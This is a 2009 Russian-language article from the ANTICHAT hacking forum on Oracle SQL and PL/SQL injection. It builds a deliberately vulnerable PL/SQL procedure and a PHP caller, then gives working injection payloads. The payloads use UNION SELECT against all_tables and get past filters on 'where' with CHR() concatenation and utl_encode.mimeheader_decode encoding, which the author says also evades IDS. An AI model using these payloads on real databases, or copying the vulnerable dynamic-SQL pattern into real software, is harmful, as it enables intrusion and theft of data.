ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Oracle Hack: Oracle DB примеры обхода некоторых ограничений
  #1  
Старый 08.12.2009, 23:42
[ DSU ]
Участник форума
Регистрация: 22.10.2007
Сообщений: 159
С нами: 9765026

Репутация: 397
По умолчанию Oracle Hack: Oracle DB примеры обхода некоторых ограничений

И опять я про Oracle
Header

Представим ситуацию:
1. Back-end: Oracle Database Sever (8i-10g).
2. Front-end: Apache+php(любой http сервер+любой интерпретатор не важно какой но для наглядности возьмем php, именно его я и использую при написании данной статьи).
3. Задача: обойти ограничение и получить как можно больше информации
4. Защита:фильтр where, set, insert в запросе.
5. Мы будем рассматривать инъекцию в pl/sql процедуру которая в свою очередь уже выполняет sql запрос

Content

Первое и самое главное что делается после обнаружения sql|pl/sql инъекции
это подбор столбцов тут обычно проблем не возникает проблемы идут далее когда мы хотим узнать название таблиц и столбцов.
Код:
http://www.example.org/dsu.php?param=p1' union select table_name from all_tables where owner=user --
Не думаю что стоит но просили писать более детально так что буду объяснять что это за запрос.
Table_name это колонка с именем таблицы которая находится в таблице All_tables, where OWNER=USER тут всё чуть сложнее owner это столбец в котором содержится имя пользователя являющегося "хозяином" таблицы, user это функция которая возвращает имя текущего пользователя.
Ну вот делаем такой запрос и... в ответ тишина, сервер как-будто просто "обрубил" сессию, знакомо?
Но паниковать не стоит и делать запросы на выборку всех таблиц и колонок тоже не стоит, насчет таблиц еще может и можно но вот колонки, вряд ли сервер вам позволит получить такое количество инфы (размеры буфера которые предусмотрены для oci и.т.д и.т.п).
Выход из сложившийся ситуации есть, даже не выход а выходы, он заключается в немалом количестве функций для работы с текстом в oracle бд.
Ну опять-же меньше текста больше дела

Для наглядности создадим с БД уязвимую процедуру

Код:
PROMPT CREATE OR REPLACE PROCEDURE get_owner
CREATE OR REPLACE PROCEDURE GET (PARAM VARCHAR) IS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2(200);
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
OPEN CV FOR 'SELECT USERNAME FROM ALL_USERS WHERE USERNAME = ''' || PARAM ||'''';
LOOP
FETCH CV INTO BUFFER;
DBMS_OUTPUT.PUT_LINE(BUFFER);
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
END;
/

GRANT EXECUTE ON get TO PUBLIC
На том что делает процедура долго останавливаться не буду, опять же всё просто
1.Получаем параметр
2.Создаем курсор
3.Парсим курсор
4.Выполняем курсор
5.Вывод на екран.

Из php вызывать как
Код:
...
$sql = 'BEGIN get(\'$_GET[param]\'); END;';
...
Думаю тут объяснять нечего не надо.
Вступления и подготовка закончены теперь к делу.

Вариант первый: chr();
Код:
SYS' UNION select TABLE_NAME FROM ALL_TABLES '||CHR(119)||'HERE OWNER=''FLOWS_FILES'' --')
вместо where мы вставляем '||CHR(119)||'HERE то есть символ W "довставляется" функцией CHR() и добавляется в запрос используя символы конкатенации строк ||.
Как видно выше where мы не передаём по этой причине запрос проходит. Пользуясь данным методом можно много чего обойти например фильтрацию кавычек это неоднократно упоминалось многими авторами.

Вариант второй: utl_encode.mimeheader_decode()

Код:
SYS' UNION select TABLE_NAME FROM ALL_TABLES '||utl_encode.mimeheader_decode('=?UTF-8?Q?w?=')||'HERE OWNER=''FLOWS_FILES''
Тут тот же метод только мы используем другую функцию для работы со строками.
Можно фантазировать и далее и фантазия приведет к такому
Код:
SYS''' ||utl_encode.mimeheader_decode('=?UTF-8?Q?UNION=20select=20TABLE=5FNAME=20FROM=20ALL=5FTABLES=20WHERE=20?==?UTF-8?Q?OWNER=3D''FLOWS=5FFILES''?=')||' --
А это уже обход IDS, плюс именно данной функции в том что кавычки в тексте можно расставить и после кодирования что удобно ну и еще возможность явно указать в какой кодировке текст это так-же удобно при работе с не английскими символами.


Footer


Данная статья не совсем статья это просто набор советов не более того. Я не использовал base64 сознательно так как в виду популярности данного алгоритма любая нормальная IDS обращает на него внимание да и примеров его использования вы найдете уйму. Я не претендую на то что это единственный способ, наоборот, более того это советы не и предназначены они для того чтоб показать в каком направлении смотреть.
P.S Мой русский оставляет желать лучшего, я это знаю и начал над этим работать.


(с) 2009 by dsu from Ukrainian Security Community
 
 



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.